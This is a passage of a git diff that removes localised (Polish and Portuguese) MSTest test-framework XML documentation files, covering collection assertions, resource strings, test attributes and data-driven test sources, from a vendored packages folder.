kod. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, czy dwie kolekcje zawierają różne elementy, i zgłasza - wyjątek, jeśli dwie kolekcje zawierają identyczne elementy bez względu - na porządek. - - - Pierwsza kolekcja do porównania. Zawiera elementy, co do których test oczekuje, - że będą inne niż rzeczywista kolekcja. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera te same elementy co . Komunikat - jest wyświetlany w wynikach testu. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Testuje, czy dwie kolekcje zawierają różne elementy, i zgłasza - wyjątek, jeśli dwie kolekcje zawierają identyczne elementy bez względu - na porządek. - - - Pierwsza kolekcja do porównania. Zawiera elementy, co do których test oczekuje, - że będą inne niż rzeczywista kolekcja. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - zawiera te same elementy co . Komunikat - jest wyświetlany w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Sprawdza, czy wszystkie elementy w określonej kolekcji są wystąpieniami - oczekiwanego typu i zgłasza wyjątek, jeśli oczekiwanego typu nie ma - w hierarchii dziedziczenia jednego lub większej liczby elementów. - - - Kolekcja zawierająca elementy, co do których test oczekuje, że będą - elementami określonego typu. - - - Oczekiwany typ każdego elementu kolekcji . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Sprawdza, czy wszystkie elementy w określonej kolekcji są wystąpieniami - oczekiwanego typu i zgłasza wyjątek, jeśli oczekiwanego typu nie ma - w hierarchii dziedziczenia jednego lub większej liczby elementów. - - - Kolekcja zawierająca elementy, co do których test oczekuje, że będą - elementami określonego typu. - - - Oczekiwany typ każdego elementu kolekcji . - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie jest wystąpieniem - . Komunikat jest wyświetlony w wynikach testu. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Sprawdza, czy wszystkie elementy w określonej kolekcji są wystąpieniami - oczekiwanego typu i zgłasza wyjątek, jeśli oczekiwanego typu nie ma - w hierarchii dziedziczenia jednego lub większej liczby elementów. - - - Kolekcja zawierająca elementy, co do których test oczekuje, że będą - elementami określonego typu. - - - Oczekiwany typ każdego elementu kolekcji . - - - Komunikat do uwzględnienia w wyjątku, gdy elementu w - nie jest wystąpieniem - . Komunikat jest wyświetlony w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Określa, czy pierwsza kolekcja jest podzbiorem drugiej kolekcji. - Jeśli któryś zbiór zawiera zduplikowane elementy, liczba wystąpień - elementu w podzbiorze musi być mniejsza lub równa liczbie - wystąpień w nadzbiorze. - - - Kolekcja, co do której test oczekuje, że powinna być zawarta w . - - - Kolekcja, co do której test oczekuje, że powinna zawierać . - - - Wartość true, jeśli jest podzbiorem kolekcji - , w przeciwnym razie wartość false. - - - - - Tworzy słownik zawierający liczbę wystąpień każdego elementu - w określonej kolekcji. - - - Kolekcja do przetworzenia. - - - Liczba elementów o wartości null w kolekcji. - - - Słownik zawierający liczbę wystąpień każdego elementu - w określonej kolekcji. - - - - - Znajduje niezgodny element w dwóch kolekcjach. Niezgodny - element to ten, którego liczba wystąpień w oczekiwanej kolekcji - jest inna niż w rzeczywistej kolekcji. Kolekcje - są uznawane za różne odwołania o wartości innej niż null z tą samą - liczbą elementów. Obiekt wywołujący jest odpowiedzialny za ten poziom weryfikacji. - Jeśli nie ma żadnego niezgodnego elementu, funkcja zwraca wynik - false i parametry wyjściowe nie powinny być używane. - - - Pierwsza kolekcja do porównania. - - - Druga kolekcja do porównania. - - - Oczekiwana liczba wystąpień elementu - lub 0, jeśli nie ma żadnego niezgodnego - elementu. - - - Rzeczywista liczba wystąpień elementu - lub 0, jeśli nie ma żadnego niezgodnego - elementu. - - - Niezgodny element (może mieć wartość null) lub wartość null, jeśli - nie ma żadnego niezgodnego elementu. - - - wartość true, jeśli znaleziono niezgodny element; w przeciwnym razie wartość false. - - - - - porównuje obiekty przy użyciu funkcji object.Equals - - - - - Klasa podstawowa dla wyjątków struktury. - - - - - Inicjuje nowe wystąpienie klasy . - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - - - - Silnie typizowana klasa zasobów do wyszukiwania zlokalizowanych ciągów itp. - - - - - Zwraca buforowane wystąpienie ResourceManager używane przez tę klasę. - - - - - Przesłania właściwość CurrentUICulture bieżącego wątku dla wszystkich - przypadków przeszukiwania zasobów za pomocą tej silnie typizowanej klasy zasobów. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg dostępu ma nieprawidłową składnię. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwana kolekcja zawiera następującą liczbę wystąpień elementu <{2}>: {1}. Rzeczywista kolekcja zawiera następującą liczbę wystąpień: {3}. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Znaleziono zduplikowany element: <{1}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano: <{1}>. Przypadek jest inny w wartości rzeczywistej: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano różnicy nie większej niż <{3}> między oczekiwaną wartością <{1}> i wartością rzeczywistą <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwana wartość: <{1} ({2})>. Rzeczywista wartość: <{3} ({4})>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwana wartość: <{1}>. Rzeczywista wartość: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano różnicy większej niż <{3}> między oczekiwaną wartością <{1}> a wartością rzeczywistą <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano dowolnej wartości z wyjątkiem: <{1}>. Wartość rzeczywista: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie przekazuj typów wartości do metody AreSame(). Wartości przekonwertowane na typ Object nigdy nie będą takie same. Rozważ użycie metody AreEqual(). {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0} — niepowodzenie. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do asynchronicznej metody TestMethod z elementem UITestMethodAttribute, które nie są obsługiwane. Usuń element asynchroniczny lub użyj elementu TestMethodAttribute. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Obie kolekcje są puste. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Obie kolekcje zawierają te same elementy. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Odwołania do obu kolekcji wskazują ten sam obiekt kolekcji. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Obie kolekcje zawierają te same elementy. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0}({1}). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: (null). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: (object). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie zawiera ciągu „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0} ({1}). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie można użyć metody Assert.Equals dla asercji. Zamiast tego użyj metody Assert.AreEqual i przeciążeń. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Liczba elementów w kolekcjach nie jest zgodna. Oczekiwana wartość: <{1}>. Wartość rzeczywista: <{2}>.{0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Element w indeksie {0} nie jest zgodny. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Element w indeksie {1} nie ma oczekiwanego typu. Oczekiwany typ: <{2}>. Rzeczywisty typ: <{3}>.{0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Element w indeksie {1} ma wartość (null). Oczekiwany typ: <{2}>.{0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie kończy się ciągiem „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nieprawidłowy argument. Element EqualsTester nie może używać wartości null. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie można przekonwertować obiektu typu {0} na typ {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Przywoływany obiekt wewnętrzny nie jest już prawidłowy. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Parametr „{0}” jest nieprawidłowy. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Właściwość {0} ma typ {1}. Oczekiwano typu {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0} Oczekiwany typ: <{1}>. Rzeczywisty typ: <{2}>. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie jest zgodny ze wzorcem „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Niepoprawny typ: <{1}>. Rzeczywisty typ: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” jest zgodny ze wzorcem „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie określono atrybutu DataRowAttribute. Atrybut DataTestMethodAttribute wymaga co najmniej jednego atrybutu DataRowAttribute. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie zgłoszono wyjątku. Oczekiwany wyjątek: {1}. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Parametr „{0}” jest nieprawidłowy. Wartość nie może być równa null. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Inna liczba elementów. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: - Nie można odnaleźć konstruktora z określoną sygnaturą. Może być konieczne ponowne wygenerowanie prywatnej metody dostępu - lub element członkowski może być zdefiniowany jako prywatny w klasie podstawowej. W drugim przypadku należy przekazać typ, - który definiuje element członkowski w konstruktorze obiektu PrivateObject. - . - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: - Nie można odnaleźć określonego elementu członkowskiego ({0}). Może być konieczne ponowne wygenerowanie prywatnej metody dostępu - lub element członkowski może być zdefiniowany jako prywatny w klasie podstawowej. W drugim przypadku należy przekazać typ, - który definiuje element członkowski w konstruktorze obiektu PrivateObject. - . - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie rozpoczyna się od ciągu „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwanym typem wyjątku musi być typ System.Exception lub typ pochodzący od typu System.Exception. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: (Nie można pobrać komunikatu dotyczącego wyjątku typu {0} z powodu wyjątku). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa nie zgłosiła oczekiwanego wyjątku {0}. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa nie zgłosiła wyjątku. Wyjątek był oczekiwany przez atrybut {0} zdefiniowany w metodzie testowej. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa zgłosiła wyjątek {0}, ale oczekiwano wyjątku {1}. Komunikat o wyjątku: {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa zgłosiła wyjątek {0}, ale oczekiwano wyjątku {1} lub typu, który od niego pochodzi. Komunikat o wyjątku: {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Zgłoszono wyjątek {2}, ale oczekiwano wyjątku {1}. {0} - Komunikat o wyjątku: {3} - Ślad stosu: {4}. - - - - - wyniki testu jednostkowego - - - - - Test został wykonany, ale wystąpiły problemy. - Problemy mogą obejmować wyjątki lub asercje zakończone niepowodzeniem. - - - - - Test został ukończony, ale nie można stwierdzić, czy zakończył się powodzeniem, czy niepowodzeniem. - Może być używany dla przerwanych testów. - - - - - Test został wykonany bez żadnych problemów. - - - - - Test jest obecnie wykonywany. - - - - - Wystąpił błąd systemu podczas próby wykonania testu. - - - - - Upłynął limit czasu testu. - - - - - Test został przerwany przez użytkownika. - - - - - Stan testu jest nieznany - - - - - Udostępnia funkcjonalność pomocnika dla platformy testów jednostkowych - - - - - Pobiera komunikaty wyjątku, w tym rekursywnie komunikaty wszystkich wewnętrznych - wyjątków - - Wyjątek, dla którego mają zostać pobrane komunikaty - ciąg z informacjami o komunikacie o błędzie - - - - Wyliczenie dla limitów czasu, które może być używane z klasą . - Typ wyliczenia musi być zgodny - - - - - Nieskończone. - - - - - Atrybut klasy testowej. - - - - - Pobiera atrybut metody testowej, który umożliwia uruchomienie tego testu. - - Wystąpienie atrybutu metody testowej zdefiniowane w tej metodzie. - do użycia do uruchamiania tego testu. - Extensions can override this method to customize how all methods in a class are run. - - - - Atrybut metody testowej. - - - - - Wykonuje metodę testową. - - Metoda testowa do wykonania. - Tablica obiektów TestResult reprezentujących wyniki testu. - Extensions can override this method to customize running a TestMethod. - - - - Atrybut inicjowania testu. - - - - - Atrybut oczyszczania testu. - - - - - Atrybut ignorowania. - - - - - Atrybut właściwości testu. - - - - - Inicjuje nowe wystąpienie klasy . - - - Nazwa. - - - Wartość. - - - - - Pobiera nazwę. - - - - - Pobiera wartość. - - - - - Atrybut inicjowania klasy. - - - - - Atrybut oczyszczania klasy. - - - - - Atrybut inicjowania zestawu. - - - - - Atrybut oczyszczania zestawu. - - - - - Właściciel testu - - - - - Inicjuje nowe wystąpienie klasy . - - - Właściciel. - - - - - Pobiera właściciela. - - - - - Atrybut priorytetu służący do określania priorytetu testu jednostkowego. - - - - - Inicjuje nowe wystąpienie klasy . - - - Priorytet. - - - - - Pobiera priorytet. - - - - - Opis testu - - - - - Inicjuje nowe wystąpienie klasy do opisu testu. - - Opis. - - - - Pobiera opis testu. - - - - - Identyfikator URI struktury projektu CSS - - - - - Inicjuje nowe wystąpienie klasy dla identyfikatora URI struktury projektu CSS. - - Identyfikator URI struktury projektu CSS. - - - - Pobiera identyfikator URI struktury projektu CSS. - - - - - Identyfikator URI iteracji CSS - - - - - Inicjuje nowe wystąpienie klasy dla identyfikatora URI iteracji CSS. - - Identyfikator URI iteracji CSS. - - - - Pobiera identyfikator URI iteracji CSS. - - - - - Atrybut elementu roboczego służący do określania elementu roboczego skojarzonego z tym testem. - - - - - Inicjuje nowe wystąpienie klasy dla atrybutu WorkItem. - - Identyfikator dla elementu roboczego. - - - - Pobiera identyfikator dla skojarzonego elementu roboczego. - - - - - Atrybut limitu czasu służący do określania limitu czasu testu jednostkowego. - - - - - Inicjuje nowe wystąpienie klasy . - - - Limit czasu. - - - - - Inicjuje nowe wystąpienie klasy ze wstępnie ustawionym limitem czasu - - - Limit czasu - - - - - Pobiera limit czasu. - - - - - Obiekt TestResult zwracany do adaptera. - - - - - Inicjuje nowe wystąpienie klasy . - - - - - Pobiera lub ustawia nazwę wyświetlaną wyniku. Przydatny w przypadku zwracania wielu wyników. - Jeśli ma wartość null, nazwa metody jest używana jako nazwa wyświetlana. - - - - - Pobiera lub ustawia wynik wykonania testu. - - - - - Pobiera lub ustawia wyjątek zgłoszony, gdy test kończy się niepowodzeniem. - - - - - Pobiera lub ustawia dane wyjściowe komunikatu rejestrowanego przez kod testu. - - - - - Pobiera lub ustawia dane wyjściowe komunikatu rejestrowanego przez kod testu. - - - - - Pobiera lub ustawia ślady debugowania przez kod testu. - - - - - Gets or sets the debug traces by test code. - - - - - Pobiera lub ustawia czas trwania wykonania testu. - - - - - Pobiera lub ustawia indeks wiersza danych w źródle danych. Ustawia tylko dla wyników oddzielnych - uruchomień wiersza danych w teście opartym na danych. - - - - - Pobiera lub ustawia wartość zwracaną metody testowej. (Obecnie zawsze wartość null). - - - - - Pobiera lub ustawia pliki wyników dołączone przez test. - - - - - Określa parametry połączenia, nazwę tabeli i metodę dostępu do wiersza w przypadku testowania opartego na danych. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nazwa domyślnego dostawcy dla źródła danych. - - - - - Domyślna metoda uzyskiwania dostępu do danych. - - - - - Inicjuje nowe wystąpienie klasy . To wystąpienie zostanie zainicjowane z dostawcą danych, parametrami połączenia, tabelą danych i metodą dostępu do danych w celu uzyskania dostępu do źródła danych. - - Niezmienna nazwa dostawcy danych, taka jak System.Data.SqlClient - - Parametry połączenia specyficzne dla dostawcy danych. - OSTRZEŻENIE: parametry połączenia mogą zawierać poufne dane (na przykład hasło). - Parametry połączenia są przechowywane w postaci zwykłego tekstu w kodzie źródłowym i w skompilowanym zestawie. - Należy ograniczyć dostęp do kodu źródłowego i zestawu, aby chronić te poufne informacje. - - Nazwa tabeli danych. - Określa kolejność dostępu do danych. - - - - Inicjuje nowe wystąpienie klasy . To wystąpienie zostanie zainicjowane z parametrami połączenia i nazwą tabeli. - Określ parametry połączenia i tabelę danych w celu uzyskania dostępu do źródła danych OLEDB. - - - Parametry połączenia specyficzne dla dostawcy danych. - OSTRZEŻENIE: parametry połączenia mogą zawierać poufne dane (na przykład hasło). - Parametry połączenia są przechowywane w postaci zwykłego tekstu w kodzie źródłowym i w skompilowanym zestawie. - Należy ograniczyć dostęp do kodu źródłowego i zestawu, aby chronić te poufne informacje. - - Nazwa tabeli danych. - - - - Inicjuje nowe wystąpienie klasy . To wystąpienie zostanie zainicjowane z dostawcą danych i parametrami połączenia skojarzonymi z nazwą ustawienia. - - Nazwa źródła danych znaleziona w sekcji <microsoft.visualstudio.qualitytools> pliku app.config. - - - - Pobiera wartość reprezentującą dostawcę danych źródła danych. - - - Nazwa dostawcy danych. Jeśli dostawca danych nie został wyznaczony w czasie inicjowania obiektu, zostanie zwrócony domyślny dostawca obiektu System.Data.OleDb. - - - - - Pobiera wartość reprezentującą parametry połączenia dla źródła danych. - - - - - Pobiera wartość wskazującą nazwę tabeli udostępniającej dane. - - - - - Pobiera metodę używaną do uzyskiwania dostępu do źródła danych. - - - - Jedna z . Jeśli nie zainicjowano , zwróci wartość domyślną . - - - - - Pobiera nazwę źródła danych znajdującego się w sekcji <microsoft.visualstudio.qualitytools> w pliku app.config. - - - - - Atrybut dla testu opartego na danych, w którym dane można określić bezpośrednio. - - - - - Znajdź wszystkie wiersze danych i wykonaj. - - - Metoda testowa. - - - Tablica elementów . - - - - - Uruchamianie metody testowej dla testu opartego na danych. - - Metoda testowa do wykonania. - Wiersz danych. - Wyniki wykonania. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 7fe8bcac..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Usado para especificar o item de implantação (arquivo ou diretório) para implantação por teste. - Pode ser especificado em classe de teste ou em método de teste. - Pode ter várias instâncias do atributo para especificar mais de um item. - O caminho do item pode ser absoluto ou relativo. Se relativo, é relativo a RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - Inicializa uma nova instância da classe . - - O arquivo ou o diretório a ser implantado. O caminho é relativo ao diretório de saída do build. O item será copiado para o mesmo diretório que o dos assemblies de teste implantados. - - - - Inicializa uma nova instância da classe - - O caminho relativo ou absoluto ao arquivo ou ao diretório a ser implantado. O caminho é relativo ao diretório de saída do build. O item será copiado para o mesmo diretório que o dos assemblies de teste implantados. - O caminho do diretório para o qual os itens deverão ser copiados. Ele pode ser absoluto ou relativo ao diretório de implantação. Todos os arquivos e diretórios identificados por serão copiados para esse diretório. - - - - Obtém o caminho da pasta ou do arquivo de origem a ser copiado. - - - - - Obtém o caminho do diretório para o qual o item é copiado. - - - - - Classe TestContext. Essa classe deve ser totalmente abstrata e não conter nenhum - membro. O adaptador implementará os membros. Os usuários na estrutura devem - acessá-la somente por meio de uma interface bem definida. - - - - - Obtém as propriedades de teste para um teste. - - - - - Obtém o Nome totalmente qualificado da classe contendo o método de teste executado no momento - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Obtém o Nome do método de teste executado no momento - - - - - Obtém o resultado do teste atual. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 2b63dd5e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - O TestMethod para a execução. - - - - - Obtém o nome do método de teste. - - - - - Obtém o nome da classe de teste. - - - - - Obtém o tipo de retorno do método de teste. - - - - - Obtém os parâmetros do método de teste. - - - - - Obtém o methodInfo para o método de teste. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Invoca o método de teste. - - - Argumentos a serem passados ao método de teste. (Por exemplo, para testes controlados por dados) - - - Resultado da invocação do método de teste. - - - This call handles asynchronous test methods as well. - - - - - Obter todos os atributos do método de teste. - - - Se o atributo definido na classe pai é válido. - - - Todos os atributos. - - - - - Obter atributo de tipo específico. - - System.Attribute type. - - Se o atributo definido na classe pai é válido. - - - Os atributos do tipo especificado. - - - - - O auxiliar. - - - - - O parâmetro de verificação não nulo. - - - O parâmetro. - - - O nome do parâmetro. - - - A mensagem. - - Throws argument null exception when parameter is null. - - - - O parâmetro de verificação não nulo nem vazio. - - - O parâmetro. - - - O nome do parâmetro. - - - A mensagem. - - Throws ArgumentException when parameter is null. - - - - Enumeração para como acessamos as linhas de dados no teste controlado por dados. - - - - - As 